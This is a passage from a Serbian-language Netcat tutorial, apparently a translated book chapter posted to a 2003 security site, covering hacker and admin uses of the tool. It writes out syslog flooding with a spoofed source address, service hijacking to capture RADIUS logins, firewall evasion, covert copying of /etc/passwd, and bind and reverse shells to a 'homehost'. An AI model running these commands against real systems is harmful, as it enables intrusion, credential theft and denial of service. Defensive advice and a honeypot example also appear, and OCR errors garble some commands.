<0> znaci najvisi syslog nivo, kern.emerg, naznacavajuci da bi ova poruka trebala biti napisana negde na sistemu. (pogledajte Vas /etc/syslog.conf fajlda biste znali tacno gde). A ako proverite kernel log, trebali biste videti nesto otprilike ovako:
Feb 12 06:00:22 originix kernel: Symbols match kernel version 2.2.12. Feb 12 06:00:22 originix kernel: Loaded 18 symbols from 5 modules. Feb 12 06:00:22 originix I can speak syslog

Voila. Ovo je dobar nacin da utvrdite da li udaljeni UDP serveri rade. I ako neki radi sa neobezbedenim syslog-om, ostavlja sebe otvorenim za vrlo prost napad koji moze napuniti prostor na disku, pojesti propusni opseg mreze, prebukirati CPU vreme itd.

[root@originix nc]# yes "<20>blahblahblah" 1 nc -s 10.0.0.1 - u targethost 514
Yes komanda izbacuje string (obezbeden u komandnoj liniji) ponovo i ponovo sve dok se proces ne unisti. Ovo ce poplaviti syslog demon na ciljnom hostu sa "blahblahblah" porukama. Napadac cak moze koristiti i laznu IP adresu (-s 10.0.0.1) jer su odgovori syslog demona
beznacajni.

Smestite prijatelju: IP varanje
IP varanje je obavijeno velom misterije. Cesto cete cuti: "Kako znamo da je to stvarno njihova adresa?" Sta ukoliko varaju?" Zapravo, moze biti veoma tesko varati IP adresu. Mozda bi trebali da refraziramo: Varanje IP adrese je lako. Mrezne barijere koje rade laziranje ili prevod mrezne adrese (NAT) varaju IP adresu svakodnevno. Ovi uredaji mogu uzeti paket od interne IP adrese, promene izvornu IP adresu u paketu svojom IP adresom, posalju ga na mrezu i poniste modifikaciju kada prime podatke nazad sa destinacije. Pa, promena sadrzaja izvorne IP adrese u IP paketu je lako. Ono sto je tesko je primanje bilo kakvih podataka nazad ka Vasoj laznoj IP adresi.
Netcat nudi - s opciju, koja Vam omogucava da specificirate IP adresu koju god zelite. Neko moze zapoceti skeniranje porta protiv nekoga i iskoristiti - s opciju da bi naveo metu da pomisli da je skenira Microsoft ili Federal Bureau of Investigation (FBI). Problem se javlja, inace, kada zelite da se odgovor sa skeniranja portova sa skrivenom IP adresom vrate Vasoj realnoj IP adresi. Zato sto je ciljni domen primio zahtev za konekciju od Microsoft-a, na primer, pokusace da posalje zahvalnicu Microsoft-ovom IP-u. IP ce, naravno, bez ikakve ideje o cemu ciljani host govori poslati reset. Kako vratiti informacije realnom IP-u bez mogucnosti otkrivanja?
Osim da zapravo hakujemo masinu kojoj treba smestiti, jedina druga moguca opcija je da koristimo rutiranje izvora. Rutiranje izvora omogucava mreznoj aplikaciji da naznaci rutu kojom bi zelela da dode do destinacije.
Postoje dva tipa rutiranja izvora: striktno i labavo. Striktno rutiranje izvora znaci da paket mora naznaciti svaki skok u ruti do destinacionog domena. Neki ruteri i mrezni uredaji jos uvek dozvoljavaju striktno rutiranje izvora, ali samo nekoliko bi jos uvek dozvolilo labavo rutiranje izvora. Labavo rutiranje izvora govori ruteru i mreznim uredajima da ruteri mogu da urade vecinu rutiranja do destinacionog domena, ali takode govori da paket mora proci kroz naznaceni set rutera na svom putu do destinacije. Ovo je opasno, jer moze omoguciti hakeru da posalje paket kroz masinu koju kontrolise (mozda masinu koja vrsi promenu IP adrese dolazeceg paketa na adresu nekog drugog). Kada se odgovor vrati, ponovo ce imati istu opciju labavog rutiranja izvora i vratice se nazad kroz nestasnu masinu (koja onda moze vratiti "pravu" IP adresu). Ovom metodom, rutiranje izvora moze omoguciti napadacu da izvrsi obmanu IP adrese i ipak dobije odgovor nazad. Vecina rutera ignorise opcije rutiranja izvora, ah ne svi.
Netcatova-g opcija Vam omogucava da obezbedite do osam skokova koje paket mora proci pre nego sto stigne na destinaciju. Na primer: nc -g 10.10.4.5 -g 10.10.5.8 -g 10.10.7.4 -g 10.10. 9.9 10.10.9.50 23 ce kontaktirati telnet port na 10.10.9.50 ali ukoliko je opcija rutiranja izvora omogucena na medu ruterima, saobracaj ce biti primoran da prode preko ove cetiri lokacije pre nego sto stigne na destinaciju. Da smo pokusali: nc -g 10.10.4.5 -g 10.10.5.8 -g 10.10.7.4 -g 10.10.9.9 -G 12 10.10.9.50 23, specificiramo pokazivac skoka koriscenjem -G opcije u ovoj komandi. -G ce postaviti pokazivac skoka na n-ti bajt (u ovom slucaju dvanesti), i zato sto su IP adrese 4 bajta svaka, pokazivac skoka ce poceti na 10.10.9.50, saobracaj ce morati da ide jedino preko poslednje dve masine (jer smo, prema pokazivacu skoka, vec bili na prve dve). Na povratnom putu, medutim, paket ce proci kroz sve ove cetiri masine.
Ukoliko Vasi ruteri i mrezni uredaji nisu podeseni da ignorisu opciju rutiranja izvornog IP-a, na srecu, sistem za detekciju upada pazi na njih . Svako ko pokrene analizer saobracaja kao sto je Ethereal, mogao bi sa lakocom da uoci varanje rutiranjem izvora, jer ce deo opcija IP zaglavlja biti veci od normalnog i IP adresa u rut listi ce biti jasno vidljiva koriscenjem ASCII dekodera. Ukoliko je to vazno sistem administratorima, uci ce u trag vlasniku svake IP adrese u listi u pokusaju da nadu krivca. Pa, da sumiramo, smestanje nekom drugom, za lose ponasanje na mrezi je lako. Stvarno pretvaranje da ste neko drugi je, ipak, nesto teze. U oba slucaja Netcat Vam moze pomoci.

Otimanje servisa
Ulogujte se na Vas omiljeni sistem i pokrenite komandu netstat -a -n. Potrazite pri vrhu izlaza stavke koje osluskuju. Trebali biste videti nesto ovako:
Proto Recv-Q Send-Q Local Address Foreign Address (state)
tcp4 0 0. *.6000 *.* LISTEN
tcp4 0 0 *.80 *.* LISTEN
tcp4 0 0 *.22 *.* LISTEN
tcp4 0 0 *.23 *.* LISTEN
tcp4 0 0 *.21 *.* LISTEN
tcp4 0 0 *.512 *.* LISTEN
tcp4 0 0 *.513 *.* LISTEN
tcp4 0 0 *.514 *.* LISTEN
Poslednja tri r-servisa (rlogin, rexec, itd.), sto bi bilo odlicno otkrice za bilo kog hakera jer su veoma nebezbedni. Takode mozete videti da telnet, FTP, X Windows, Web i SSH jos uvek rade. Ali, sta jos vredi primetiti? Primecujete kako svaka stavka navodi * za lokalnu adresu? Ovo znaci da se svi ovi servisi nisu vezali za specificnu IP adresu. Pa sta? Kako ispada, mnoge IP klijent implementacije de prvo pokusati da kontaktiraju servis osluskujuci specificne IP adrese pre kontaktiranja servisa osluskivanjem na svim IP adresama. Probajte ovu komandu:

[root@originix nc]# ./nc -1 -v -s 192.168.1.102 -p 6000
Sada jos jednom pokrenite Netstat. Trebali biste videti ovo:
Proto Recv-Q Send-Q Local Address Foreign Address (state)
tcp4 0 0 192.168.1.102.6000 *.* LISTEN
tcp4 0 0 *.6000 *.* LISTEN
Pogledajte Vi to! Sada slusate pre X servera. Da ste imali glavni pristup na sistemu, mogli biste da osluskujete portove nize od 1024 i otimate stvari kao sto je telnet, Web, i druge izvore. Ali puno interesantnih autentifikacija od trecih lica, deljenje fajlova i druge aplikacije koriste vise portove. Regularni korisnik na Vasem sistemu (nazvacemo ga "joeuser") moze, na primer oteti RADIUS server (koji uglavnom slusa na portu 1645 ili 1812 UDP) i pokrenuti Netcat komandu sa -o opcijom da bi dobio heksadecimalni oblik svih pokusaja logova. On je uhvatio samo odredenu kolicinu korisnickih imena i sifara bez cak i potrebe za root pristupom na sistemu. Naravno, nece potrajati dugo dok se korisnici ne pozale da servis ne odgovara i aktivnost joeusera ce biti otkrivena. Ali ako bar malo zna nesto o servisu koji otima, mogao bi da prevari servis (kao laziranjem odgovora) ili cak prode kroz servis nekog drugog.

[root@originix nc]# ./nc -1 -u -s 192.168.1.100 -p 1812 -e nc to_radius
Nc to_radius je skript komandnog okruienja i izgleda ovako:
#! /bin/sh
DATE='date "+%Y-%m-%d %H.%M.%S
/usr/bin/nc -o hexlog-$DATE slave-radius 1812

slave-radius je ime hosta sekundarnog RADIUS servera na mrezi. Postavljajuci osluskujuci
Netcat u petlju tako da se ponovo pokrene na svaku konekciju, ova tehnika bi teoretski trebala da omoguci joeuseru da uhvati sve tipove login informacija (svaka sesija u pojedinacnom fajlu)
istovremeno onemogucavajuci bilo koga da u tom trenutku dode do saznanja da nesto nije kako treba. Jednostavno ce snimiti informacije dok ih usmerava ka bekup RADIUS serveru. Ovo bi bilo
dosta tesko uciniti da radi konzistentno, ali je u opsegu moguceg.

Proksiji i releji
Mozete koristiti istu tehniku primenjenu u prethodnom delu da biste kreirali Netcat proksije i releje. Netcat koji osluskuje moze biti upotrebljen da zapocne drugu Netcat konekciju ka razlicitom hostu ili portu, kreirajuci relej.
Upotreba ove osobine zahteva nesto poznavanja skripta. Iz razloga sto Netcat-ova -e opcija prihvata samo jednu komandu (bez argumnata komandne linije), morate da spakujete bilo koju ili sve komande koje zelite da pokrenete u skript. Mozete se i poigrati s ovim, kreirajuci relej koji premoscuje nekoliko razlicitih domena. Tehnika moze biti iskoriscena za kreiranje kompleksnog "tunela", omogucavajuci hakeru da oteza sistem administratoru da mu ude u trag.
Ova mogucnost moze biti koriscena i u dobre svrhe, naravno. Na primer, relej osobina moze dozvoliti Netcat-u da vrsi funkciju proksija web stranama. Postavite ga da osluskuje na portu 80 na drugom sistemu omogucite mu da stvara sve Vase Web konekcije (uz pomoc skripta) i prosledite ih.

Izbegavanje port filtera
Kada biste bili haker, Netcat bi mogao biti iskoriscen da pomogne oko zaobilaienja mreznih barijera. Lazno prikazivanje nedozvoljenog saobracaja kao dozvoljeni je jedini nacin da zaobidete mrezne barijere i port filtere. Neke mrezne barijere omogucavaju dolazeci saobracaj od izvornog porta 20 sa visokim destinacionim portom na internoj mrezi da bi omogucîo FTP. Pokretanje napada koristeci: nc -p 20 targethost 6000 moze Vam omoguciti pristup ciljnom domenu X servera ukoliko je mrezna barijera lose konfigurisana. Mogao bi pretpostaviti da je Vasa konekcija dolazeci paket FTP podataka i propustiti Vas. Najverovatnije cete biti u mogucnosti da pristupite samo odredenom podskupu portova. Vecïna administratora mreznih barijera eksplicitno eliminise opseg portova 6000 sa liste dostupnih u ovom scenariju, ali cete jos uvek moci da nadete druge servise iznad 1024 sa kojima mozete da komunicirate dolazeci sa izvornog porta 20.
DNS poseduje slicne teme. Skoro sve mrezne barijere moraju dozvoliti odlazeci DNS ali ne nuzno i dolazeci DNS. Ako ste iza mrezne barijere koja dozvoljava oba, mozete iskoristiti ovu cinjenicu da propustite nedozvoljeni saobracaj kroz mreznu barijeru dajuci joj izvorni port 53. Iza barijere, pokretanje: nc - p 53 targethost 9898 moze Vam omoguciti da zobidete filter koji bi normalno blokirao odlaze i America Online (AOL) Instant Messenger saobracaj. Moracete biti lukavi sa ovim, ali mozete videti kako Netcat moze iskoristiti labavo napisana pravila mreznih barijera. Sistem administratori ce zeleti da izvrse provere za odredenim rupama kao sto je ova. Za pocetnike, mozete jednostavno zabraniti bilo kakav DNS TCP saobracaj, sto ce iskljuciti vecinu DNS port filter problema. Primoravajuci korisnike da koriste pasivni FTP, koji ne zahteva od servera da inicira konekciju nazad do klijenta na TCP portu 20, omogucava Vam da eliminisete ovu rupu.

Izgradnja kanala podataka: napravite svoj sopstveni FTP
Netcat Vam omogucava da izgradite kanale podataka. Koje benificije ovo donosi?
TRANSFER FAJLOVA KROZ PORT FILTERE Postavljajuci ulazne i izlazne fajlove na svaki kraj kanala podataka, mozete efektivno poslati ili kopirati fajl sa jedne mrezne lokacije na drugu bez koriscenja bilo kog tipa " zvanicnog" fajl transfer protokola. Ako posedujete pristup komandnom okruzenju sistema ali niste u mogucnosti da inicirate bilo kakav fajl transfer jet prot filteri blokiraju FTP, NFS (Network File System) i Sambu, imate alternativu. Na strani gde se nalazi originalni fajl, pokrenite ovo:
nc -1 -u -p 55555 < fajl_koji_zelimo
i sa klijenta pokusajte:
nc -u - targethost 55555 > kopija fajla
postavljanje konekcije ce odmah preneti fajl. Izadite sa EOF-om (Ctrl-C) i Vas fajl bi trebao biti netaknut.
RIKRIVENI FAJL TRANSFER Hakeri mogu koristiti Netcat za transfer fajlova sa sistema bez kriranja bilo kakvog uocljivog traga. Gde FTP i Secure Copy (scp) mogu ostaviti logove, Netcat ne cini.
nc -1 -u -p 55555 < /etc/passwd
Kada se haker poveze na taj UDP port, dohvata /etc/passwd fajl bez icijeg znanja (osim ako je toliko nesrecan da je pokusao u trenutku kada je sistem administrator pokrenuo ps (stanja procesa) ili netstat komandu).
DOHVATI IZLAZ APLIKACIJE Hajde da Vas ponovo stavimo u kozu hakera. Recimo da ste napisali skript koji prenosi neki od vaznih sistemskih fajlova na standardni izlaz (passwd, group, inetd.conf, hosts.allow itd.) i pokrece nekoliko sistemskih komandi za skupljanje informacija (uname, ps, netstat). Nazovimo ovaj skript "sysinfo." Na meti mozete uraditi jedno od sledeceg:
nc -1 -u -p 55555 -e sysinfo
ili
sysinfo 1 nc -1 -u -p 55555
Mozete dohvatiti izlaz komande i zapisati ga u fajl pod imenom sysinfo.txt koristeci: nc -u target 55555 > sysinfo.txt
U cemu je razlika? Obe komande prihvataju izlaz sysinfo skripta i kanalisu ga ka slusajucem Netcat-u kako bi on poslao podatke preko mreznog kanala onome s kim je god povezan. -e opcija "predaje" I/O aplikacji koju izvrsava. Kada je Sysinfo zavrsio sa svojim I/O (kod EOF-a), slusalac se zatvara, a to cini i klijent na drugom kraju. Ukoliko je sysinfo kanalisan, izlaz od sysinfo-a jos uvek putuje do klijenta, ali Netcat jos uvek rukuje 1/0-om. Klijent strana nece primiti EOF i cekace da vidi da li slusalac ima jos nesto za slanje.
Isto se moze reci i za obrnuti primer. Sta ako ste na ciljnoj masini i zelite da inicirate konekciju ka Netcat slusaoca na Vasem licnom domenu? Ako Netcat osluskuje na domacem hostu posle pokretanja komande: nc -1 -p 55555 > sysinfo.txt, opet imate dve opcije:
nc -u -e sysinfo homehost 55555
ili
sysinfo 1 nc -u homehost 55555

Razlika je opet, ta sto koriscenje kanala zahteva da klijent ostane otvoren i posto sysinfo je zavrsio sa slanjem izlaza. Koriscenje -e opcije ce zatvoriti Netcat klijent odmah kada sysinfo zavrsi. Razlika izmedu ova dva moda postaje izuzetno ocigledna kad zapravo zelite da pokrenete aplikaciju na udaljenom hostu i prosledite I/O kroz Netcat kanal podataka (kao u "Pribavljanje udaljenog pristupa komandnom okruzenju" sekciji).
DOHVATITE KONTROLU APLIKACIJE U "Pribavljanje udaljenog pristupa komandnom okmzenju" opisali smo kako da pokrenete udaljeno komandno okruzenje na Windows platformi. Isto moze biti uradeno na Unix masini:
nc -u -1 -p 55555 -e /bin/sh

Povezite se koristeci: ne -u targethost 55555. Shell (/bin/sh) se pojavljuje i omogucava Vam da vrsite interakcije s tim selom preko kanala. -e opcija daje I/O kontrolu kompletno shell-u. Imajte na umu da bi ova komanda trebala biti deo beskonacne while petlje u skriptu ako biste zeleli da ovaj bekdor ostane otvoren posto napustite komandno okruzenje (shell). Posle izlaska iz shell-a, Netcat ce zatvoriti obe strane fim je /bin/sh zavrsen. Netcat verzija za Windows snalazi se sa ovim koristeci - L opciju.
Kao sto ste mogli i u prethodnom primeru, mozete poslati I/O kontrolu lokalne aplikacije Netcat-u koji slusa (nc -u -1 -p 55555) kucajuci sledece:

nc -u -e /bin/sh homehost 55555
I mozete uraditi ovo sa bilo kojom interaktivnom aplikacijom koja radi samo na tekstualnom nivou bez bilo kakvih stilskih terminal opcija (na primer, vi text editor nece raditi dobro).

Postavijanje zamke
Ovo moze biti zabavno obeshrabrenje za "hakere" koji bi to hteli da budu. Pokretanjem Netcatat-a u prislusnom modu na dobro poznatom portu gde bi haker mogao ocekivati da nade osetljivi servis, mozete navesti hakera da pomisli da ste pokrenuli nesto sto, u stvari, niste. Ako to lepo podesite, mozete cak biti i u mogucnosti da uhvatite hakera.

[root@originix nc]# ./nc -1 -v -e fakemail.pl -p 25 » traplog.txt
Vas fakemail skript bi mogao odaslati neki izlaz kako bi rekao svetu da radi "swiss-cheese" verzija alata za slanje poste i prakticno moli mladog hakera da dode i provali u sistem. Do terminacije konekcije (EOF), Vas skript bi trebao da ponovo pokrene istu Netcat komandu. Ali ukoliko neko pocne da bude previse znatizeljan, skript bi mogao koristiti yes komandu da bi preplavio napadaca sa bilo kakvim smecem koje izaberete. Cak iako volite da budete suptilniji, mozete bar dobiti listu IP adresa koje se kace sa Vama u traplog.txt.

Testiranje mreine opreme
Necemo potrositi puno vremena ovde. Mozete koristiti Netcat da postavite slusaoce na jedan kraj mreze i pokusati da se povezete na njih sa drugog kraja. Mozete testirati mnoge mreine uredaje (rutere, mrezne barijere itd.) na povezivost tako sto cete videti koje vrste saobrazaja mozete provuci. I, posto Vam Netcat omogucava da lazirate izvornu IP adresu, mozete cak proveriti i mrezne barijere zasnovane na IP-u tako da ne morate provoditi vise vreme pitajuci se da li Vasa mrezna barijera stvarno radi ono sto bi trebao.
Takode mozete korisiti -g opciju za pokusaj rutiranja izvora protiv Vase mreze. Vecina mreznih uredaja trebala bi biti konfigurisana da ignorisu opcije rutiranja izvora, jer njihova upotreba nikada nije opravdana.
Sami kreirajte Vas!
Netcat izvorni tarbol dolazi sa nekoliko shell skripta i C programa koji demonstriraju cak i jos mogucih upotreba za Netcat. Sa nesto programerskog iskustva, mozete izvuci i vecu kilometrazu iz Netcat-a. Pogledajte README fajl kao i neke od primera u "data" i "scripts" poddirektorijumima. Mogu Vas navesti da porazmislite i o nekim drugim stvarima koje mozete da uradite.

CRYPTCAT
Cryptcat je upravo ono sto i pise u nazivu: Netcat sa enkripcijom. Sada mozete enkriptovati kanal podataka, proksi ili relej. Hakeri mogu drzati Netcat saobracaj sakriven, tako da administratori njuskala moraju uraditi vise od prostog pregleda mreze da bi saznali ono sta ste naumili.
Cryptcat koristi poboljsanu verziju Twofish enkripcije. Argumenti komandne linije su isti. Ocigledno Cryptcat nije strahovito koristan za port skeniranje i komunikaciju sa drugim servisima koji ne koriste istu enkripciju kao i sam Cryptcat. Ali ako Vasa upoteba Netcat-a ukljucuje kopiju Netcat-a koja je pokrenuta negde u prislusnom modu i odvojenu kopiju Netcat-a koja se povezuje na onu prvu, Cryptcat Vam daje dodatne pogodnosti osiguravanja konekcije.
Mozete pruzeti Cryptcat sa http://farm9.com/.

pozdrav problematican
17.12.2003

 
: Glavna :: Forum :: Linux/Unix :: Windows :: Mreze :: Sigurnost :: Hardware :: Knjige :: Mobilni/PDA :: Preuzimanje :
Powered by 1o1
PodignimoStupove!